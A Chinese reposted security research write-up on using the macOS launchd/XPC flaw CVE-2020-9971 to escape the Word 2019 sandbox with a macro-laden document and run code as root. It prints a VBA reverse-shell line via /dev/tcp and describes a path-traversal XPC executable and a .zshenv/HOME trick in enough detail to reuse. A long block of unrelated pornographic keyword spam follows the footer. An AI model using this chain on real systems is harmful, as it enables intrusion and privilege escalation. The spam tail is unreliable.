《電子技術(shù)應(yīng)用》
您所在的位置:首頁 > 通信與網(wǎng)絡(luò) > 業(yè)界動態(tài) > 利用CVE-2020-9971繞過Microsoft Office的應(yīng)用程序沙箱

利用CVE-2020-9971繞過Microsoft Office的應(yīng)用程序沙箱

2021-07-12
來源:嘶吼專業(yè)版
關(guān)鍵詞: 漏洞 Word macOSiOS

  在本文中,研究人員展示了他們?nèi)绾卫靡寻l(fā)布的 macOS/iOS 權(quán)限提升漏洞Word 文檔武器化,解除應(yīng)用程序沙箱限制并獲得更高權(quán)限。

  CVE-2020-9971 是 macOS/iOS 中的一個邏輯漏洞,可用于穩(wěn)定的提權(quán)漏洞。在這篇文章中,研究人員 (@R3dF09) 提到它也可以在最受限制的應(yīng)用沙箱中運行,因此研究人員決定對其進行測試并使用武器化的 Word 文檔繞過 Microsoft Office 2019(適用于 Mac)應(yīng)用沙箱。為了完成這個任務(wù),研究人員不得不使用一些有趣的技巧來繞過 Apple 的文件隔離。

  CVE-2020-9971位于launchd進程中,與XPC Services機制有關(guān)。這種機制提供了進程間通信,允許開發(fā)人員創(chuàng)建為其應(yīng)用程序執(zhí)行特定任務(wù)的服務(wù)。這通常用于將應(yīng)用程序拆分為更小的部分,從而提高可靠性和安全性。launchd是mac系統(tǒng)下通用的進程管理器,是mac系統(tǒng)下非常重要的一個進程,一般來說該進程不允許直接以命令行的形式調(diào)用。只能通過其控制管理界面,launchctl來進行控制。launchd主要功能是進程管理。可以理解成是一個常駐在后臺的進程,根據(jù)用戶的配置,來響應(yīng)特定的系統(tǒng)事件。launchd既可以用于系統(tǒng)級別的服務(wù),又可以用于個人用戶級別的服務(wù)。

  每個進程都有自己的域,由 launchd 管理,其中包含有關(guān)進程可用的 XPC 服務(wù)的信息。蘋果聲稱只有擁有者進程才能修改自己的域,但該漏洞的核心漏洞是能夠?qū)⑷我?XPC 服務(wù)添加到任意進程域中,然后觸發(fā)它在該進程的上下文中運行。起初,攻擊者將自制的 XPC 服務(wù)“注入”到具有 root 權(quán)限的特定進程的域中(systemsoundserverd)。開發(fā)者還使用了 XPC 服務(wù)的一個眾所周知的功能來監(jiān)聽套接字以觸發(fā)和啟動它。

  接下來,研究人員將描述成功將 Word 文檔武器化并繞過 Word 應(yīng)用程序沙箱的步驟。該研究是在易受 CVE-2020-9971 攻擊的 macOS 10.15.4 和當(dāng)時最新版本的 Microsoft Office 2019 上進行的,但這無關(guān)緊要,因為該漏洞在操作系統(tǒng)端。

  漏洞利用

  研究人員的第一個目標(biāo)是創(chuàng)建一個獨立的命令行漏洞利用。在這個階段,研究人員認(rèn)為他們只需要刪除它并從武器化的 Word 文檔中執(zhí)行它即可,但實際情況并非如此。無論如何,研究人員用 XCode 創(chuàng)建了一個應(yīng)用程序,附帶一個簡單的 XPC 服務(wù),它執(zhí)行以下步驟:

  1.查找研究人員要使用的 root 特權(quán)進程的 PID。正如研究人員已經(jīng)知道不可能在 Office 應(yīng)用沙箱中執(zhí)行 ps 一樣,研究人員改為使用 launchctl 打印系統(tǒng)的輸出,它顯示了系統(tǒng)中的進程域。此時研究人員注意到systemoundserverd的進程域是在啟動后延遲相當(dāng)長的時間創(chuàng)建的,所以研究人員改用launchservicesd的進程域;

  2.將研究人員的 XPC 服務(wù)注入到找到的 PID 的進程域中;

  3.通過打開 TCP 套接字觸發(fā)研究人員的 XPC 服務(wù)的啟動;

  附帶的XPC服務(wù)只創(chuàng)建一個文件(表示成功),并配置為在指定的TCP端口上偵聽。漏洞利用和 XPC 服務(wù)都存儲在同一個應(yīng)用程序包中,但請注意研究人員有兩個不同的可執(zhí)行文件。

  通過這個獨立的漏洞利用,研究人員能夠從普通用戶那里獲得 root 權(quán)限,現(xiàn)在是時候開始實現(xiàn)研究人員的最終目標(biāo)了——繞過沙盒。

  繞過沙盒

  研究人員的最終目標(biāo)是使用此漏洞將 Word 文檔武器化,以繞過應(yīng)用程序沙箱。其基礎(chǔ)是能夠從這個Word文檔中執(zhí)行shell命令,這可以通過Microsoft Office中的其他漏洞實現(xiàn),或者更容易通過VBA宏實現(xiàn),這讓研究人員只剩下說服用戶按下“啟用宏”的工作。更多關(guān)于針對 Mac 用戶的基于宏的攻擊請點此https://perception-point.io/mac-isnt-safe-how-do-you-like-them-apples/查看。對于這個概念驗證,研究人員將使用 VBA 宏。

  在 Office 應(yīng)用沙箱的上下文中獲取 bash shell 很簡單,然后利用這些限制。研究人員所要做的就是偵聽特定端口(例如 netcat)并從 Word 文檔中執(zhí)行以下 VBA 宏:

  MacScript(“do shell script ”“bash -I >&/dev/tcp/127.0.0.1/PORT 0>&1 &”“”)

  此時,在沙箱中有了一個shell,研究人員試圖轉(zhuǎn)儲并執(zhí)行獨立漏洞,但它沒有奏效。經(jīng)過一些研究,研究人員發(fā)現(xiàn)他們在沙箱中創(chuàng)建的每個文件都是使用“com.apple.quarantine”屬性創(chuàng)建的,這個可以通過 xattr 實用程序觀察到。

  隔離屬性是許多 macOS 保護的核心,最初,它僅附加到從互聯(lián)網(wǎng)下載的文件中,以執(zhí)行多項安全檢查(例如文件隔離、GateKeeper、Notarization 和 XProtect)。自從引入了沙箱之后,這個屬性又增加了一個角色——標(biāo)記從沙箱中創(chuàng)建的文件,并完全阻止它們被執(zhí)行。以下是研究人員試圖從沙箱shell中轉(zhuǎn)儲和執(zhí)行一個文件時產(chǎn)生的日志:

  kernel: (Sandbox) Sandbox: bash(1724) deny(1) process-exec* /Users/perceptionpoint/Library/Containers/com.microsoft.Word/Data/test

  kernel: (Quarantine) exec of /Users/perceptionpoint/Library/Containers/com.microsoft.Word/Data/test denied since it was quarantined by Microsoft Word and created without user consent, qtn-flags was 0x00000086

  可以看到研究人員可以執(zhí)行 shell 命令,但不能轉(zhuǎn)儲和運行他們自己的可執(zhí)行文件。對于可利用的可執(zhí)行文件,研究人員有一個簡單的替換方法:只需在ctypes包的幫助下運行一個執(zhí)行相同步驟的python腳本?,F(xiàn)在研究人員就能夠?qū)?XPC 服務(wù)注入目標(biāo)進程域,甚至觸發(fā)它的執(zhí)行,但它沒有運行:XPC 服務(wù)可執(zhí)行文件本身被標(biāo)記為隔離屬性。

  現(xiàn)在是時候更深入地研究XPC服務(wù)的結(jié)構(gòu)了。從外部看,它看起來像一個擴展名為“xpc”的單一文件,但它實際上是一個具有典型結(jié)構(gòu)的文件夾:

微信圖片_20210712140230.jpg

  主要組件是 Info.plist 文件,它是一個描述服務(wù)的 XML 文件,以及可執(zhí)行文件本身(位于 MacOS 文件夾內(nèi))。Info.plist 中的部分內(nèi)容如下:

  < key >CFBundleExecutable< /key >< string >AppService< /string >

  研究人員不能使用他們自己的可執(zhí)行文件,所以唯一的選擇是使用系統(tǒng)現(xiàn)有的可執(zhí)行文件之一。研究人員嘗試在 CFBundleExecutable 項中使用完整路徑,但是 XPC 服務(wù)根本無法加載。很明顯,macOS 會在目錄 Contents/MacOS 中查找具有此項中指定名稱的可執(zhí)行文件,也許研究人員可以使用路徑遍歷來指向現(xiàn)有的可執(zhí)行文件,并嘗試將值更改為:

  < key >CFBundleExecutable< /key >< string >/////////usr/bin/yes< /string >

  令研究人員驚訝的是,它奏效了!當(dāng)研究人員使用這個“假”XPC 服務(wù)執(zhí)行漏洞利用時,研究人員發(fā)現(xiàn)了一個具有 root 權(quán)限的“是”進程,即使研究人員是從沙箱中執(zhí)行的。

  因此,研究人員有能力以 root 權(quán)限運行進程,但似乎無法控制它們的參數(shù)。在團隊內(nèi)部就這個問題進一步咨詢后,研究人員想出了一個好辦法,他們注意到可以控制新進程的環(huán)境變量,即運行一個 shell 作為 XPC 服務(wù)(例如 zsh),將其 HOME 目錄更改為研究人員可以控制,并將 shell 在執(zhí)行開始時提供的文件放在那里(例如。zshenv)。

  將它們?nèi)糠庋b在一起

  研究人員編寫了一個 python 腳本,執(zhí)行以下步驟:

  1.將“。zshenv”文件寫入當(dāng)前目錄,在沙箱內(nèi),路徑為 /Users/user/Library/Containers/com.microsoft.Word/Data,其中包含研究人員希望以 root 身份執(zhí)行的載荷;

  2.查找研究人員要使用的 root 權(quán)限進程的 PID (launchservicesd);

  3.創(chuàng)建“假”XPC 服務(wù),其中可執(zhí)行文件指向 zsh,并將 HOME 環(huán)境變量設(shè)置為當(dāng)前目錄;

  4.將“假”XPC 服務(wù)注入到找到的 PID 的進程域中;

  5.通過打開 TCP 套接字觸發(fā) XPC 服務(wù)的啟動;

  然后研究人員將該腳本封裝為 base64 格式,以便從VBA宏中執(zhí)行它,并將其插入到 AutoOpen 子例程中。具體演示過程請點此,其中有效載荷只在/tmp/hacked中創(chuàng)建一個文件(請注意,該文件是以 root 身份創(chuàng)建的,并且沒有隔離位)。

  總結(jié)

  研究人員證明了 CVE-2020-9971 可以用作沙箱逃逸漏洞,以 Word 文檔作為研究人員的 POC。在這個過程中,研究人員發(fā)現(xiàn)了一種通過 XPC 服務(wù)啟動任意可執(zhí)行文件的方法(在 CFBundleExecutable 值中進行路徑遍歷),特別是執(zhí)行 shell 腳本(通過控制 HOME 環(huán)境變量和轉(zhuǎn)儲 .zshenv 文件的技巧)。

  這個沙箱逃逸漏洞使研究人員能夠為 macOS 創(chuàng)建一個快速、簡單和廉價的武器化 Word 文檔,這嚴(yán)重危害了系統(tǒng)安全。

  安全建議

  1.避免打開陌生文檔,尤其是運行來自未知來源或你不完全信任的發(fā)送方;

  2.使用能夠處理此類攻擊的綜合性安全產(chǎn)品。




電子技術(shù)圖片.png

本站內(nèi)容除特別聲明的原創(chuàng)文章之外,轉(zhuǎn)載內(nèi)容只為傳遞更多信息,并不代表本網(wǎng)站贊同其觀點。轉(zhuǎn)載的所有的文章、圖片、音/視頻文件等資料的版權(quán)歸版權(quán)所有權(quán)人所有。本站采用的非本站原創(chuàng)文章及圖片等內(nèi)容無法一一聯(lián)系確認(rèn)版權(quán)者。如涉及作品內(nèi)容、版權(quán)和其它問題,請及時通過電子郵件或電話通知我們,以便迅速采取適當(dāng)措施,避免給雙方造成不必要的經(jīng)濟損失。聯(lián)系電話:010-82306118;郵箱:aet@chinaaet.com。
亚洲一区二区欧美_亚洲丝袜一区_99re亚洲国产精品_日韩亚洲一区二区
欧美一区二区三区免费观看| 欧美精品一区二区三区在线播放 | 欧美日韩中文字幕日韩欧美| 久久综合久久综合九色| 欧美怡红院视频一区二区三区| 亚洲婷婷在线| 亚洲视频免费观看| 在线一区日本视频| 亚洲午夜av在线| 国产精品99久久久久久宅男| 一区二区三区精密机械公司| 99日韩精品| 一区二区激情| 亚洲四色影视在线观看| 亚洲午夜一区二区| 亚洲一区二区三区中文字幕在线| 亚洲一区二区三区欧美| 亚洲女同在线| 欧美专区日韩专区| 久久久亚洲国产美女国产盗摄| 久久精品一二三| 久久免费视频在线观看| 久久天堂精品| 美女尤物久久精品| 欧美国产欧美亚洲国产日韩mv天天看完整 | 国产精品一区在线观看你懂的| 国产精品mm| 国产精品一区二区黑丝| 国产精品制服诱惑| 国产综合欧美| 亚洲高清免费视频| 一本久久a久久精品亚洲| 亚洲午夜电影网| 性欧美长视频| 亚洲人成毛片在线播放| 日韩视频在线观看免费| 一区二区三区高清视频在线观看| 一区二区三区你懂的| 亚洲综合视频一区| 久久久久国色av免费观看性色| 老**午夜毛片一区二区三区| 欧美激情一区二区三区高清视频| 欧美视频在线观看| 国产亚洲综合精品| 亚洲电影下载| 亚洲免费精彩视频| 欧美一区二区三区精品电影| 亚洲国产高清在线| 亚洲图片自拍偷拍| 久久国产精品色婷婷| 牛牛影视久久网| 欧美视频精品一区| 国产在线精品二区| 亚洲美女黄色| 午夜亚洲性色福利视频| 亚洲三级电影在线观看| 午夜精品久久久久久久久久久久 | 免费亚洲一区二区| 欧美日韩一区在线视频| 国产视频一区在线观看一区免费| 136国产福利精品导航网址| 一区二区欧美在线观看| 久久精品官网| 亚洲一区久久| 男女激情视频一区| 国产欧美精品| 亚洲精品美女久久7777777| 欧美亚洲尤物久久| 亚洲少妇一区| 欧美gay视频| 国产精品五月天| 亚洲裸体视频| 久久精品亚洲一区二区三区浴池 | 欧美激情视频一区二区三区免费| 国产精品一二三视频| 亚洲国产精品电影| 欧美一区三区二区在线观看| 一本色道88久久加勒比精品| 久久精品99久久香蕉国产色戒| 欧美欧美全黄| 极品尤物av久久免费看| 亚洲男人第一网站| 一区二区欧美精品| 麻豆成人在线| 国产亚洲美州欧州综合国| 日韩写真视频在线观看| 亚洲电影网站| 欧美一区日本一区韩国一区| 欧美日韩日韩| 亚洲激情一区| 亚洲国产高清自拍| 久久岛国电影| 国产精品老牛| 亚洲美女视频在线观看| 亚洲国产精品久久久久| 久久精品国产亚洲aⅴ| 国产精品国产精品国产专区不蜜| 亚洲激情电影中文字幕| 亚洲第一页在线| 久久av老司机精品网站导航| 欧美性片在线观看| 亚洲精美视频| 亚洲九九精品| 欧美大片免费看| 伊人久久久大香线蕉综合直播 | 欧美理论视频| 亚洲经典视频在线观看| 亚洲高清一区二区三区| 久久精品导航| 国产女主播一区二区| 亚洲一区在线免费| 亚洲欧美成人| 国产精品久久久久久久久免费| 日韩亚洲欧美成人| 一区二区三区四区蜜桃| 欧美华人在线视频| 亚洲欧洲日本一区二区三区| 亚洲人成亚洲人成在线观看图片| 久久免费高清视频| 国产亚洲一级高清| 欧美一区二区日韩一区二区| 久久aⅴ国产紧身牛仔裤| 国产免费成人在线视频| 亚洲在线网站| 欧美一区二区三区在线观看| 国产精品色午夜在线观看| 国产精品99久久不卡二区| 亚洲专区国产精品| 国产精品一区一区三区| 欧美一区二区| 六十路精品视频| 亚洲国产欧美久久| 一区二区动漫| 国产精品久久久久高潮| 亚洲午夜免费福利视频| 欧美一区二区福利在线| 国产一区二区三区自拍| 亚洲高清影视| 欧美人在线观看| 亚洲特级片在线| 久久福利毛片| 在线播放视频一区| 99ri日韩精品视频| 欧美系列精品| 亚洲欧美日韩精品久久奇米色影视| 欧美影院在线播放| 狠狠色噜噜狠狠色综合久| 91久久精品www人人做人人爽| 欧美激情精品久久久六区热门| 亚洲免费av片| 欧美一区二区三区四区在线 | 欧美色偷偷大香| 亚洲在线国产日韩欧美| 久久久久久久波多野高潮日日| 一区精品在线播放| 日韩香蕉视频| 国产精品热久久久久夜色精品三区| 欧美一区二区三区在线看| 美腿丝袜亚洲色图| 日韩午夜电影| 午夜亚洲福利| 在线观看欧美激情| 99精品视频免费观看| 国产精品国产三级国产专区53| 欧美亚洲三区| 欧美精品久久久久久久免费观看| 夜夜躁日日躁狠狠久久88av| 久久精品视频在线播放| 伊人蜜桃色噜噜激情综合| 亚洲天堂成人在线视频| 国产一区日韩一区| 99av国产精品欲麻豆| 国产精品在线看| 亚洲人成网站999久久久综合 | 国产农村妇女毛片精品久久莱园子| 亚洲国产精品成人| 欧美特黄一级大片| 久久精品国产96久久久香蕉| 欧美精品www| 欧美伊人久久久久久午夜久久久久| 欧美激情一二三区| 午夜精品免费| 欧美日本三区| 欧美在线亚洲在线| 欧美日韩午夜精品| 亚洲国产91精品在线观看| 国产精品高清在线观看| 亚洲区国产区| 国产女主播一区| 夜夜精品视频一区二区| 国产一区二区三区高清 | 欧美在线视频二区| 亚洲欧洲精品一区二区| 久久九九精品99国产精品| 日韩视频不卡| 免费日韩av| 小辣椒精品导航| 欧美午夜精品理论片a级按摩 | 日韩一区二区精品视频| 国产原创一区二区|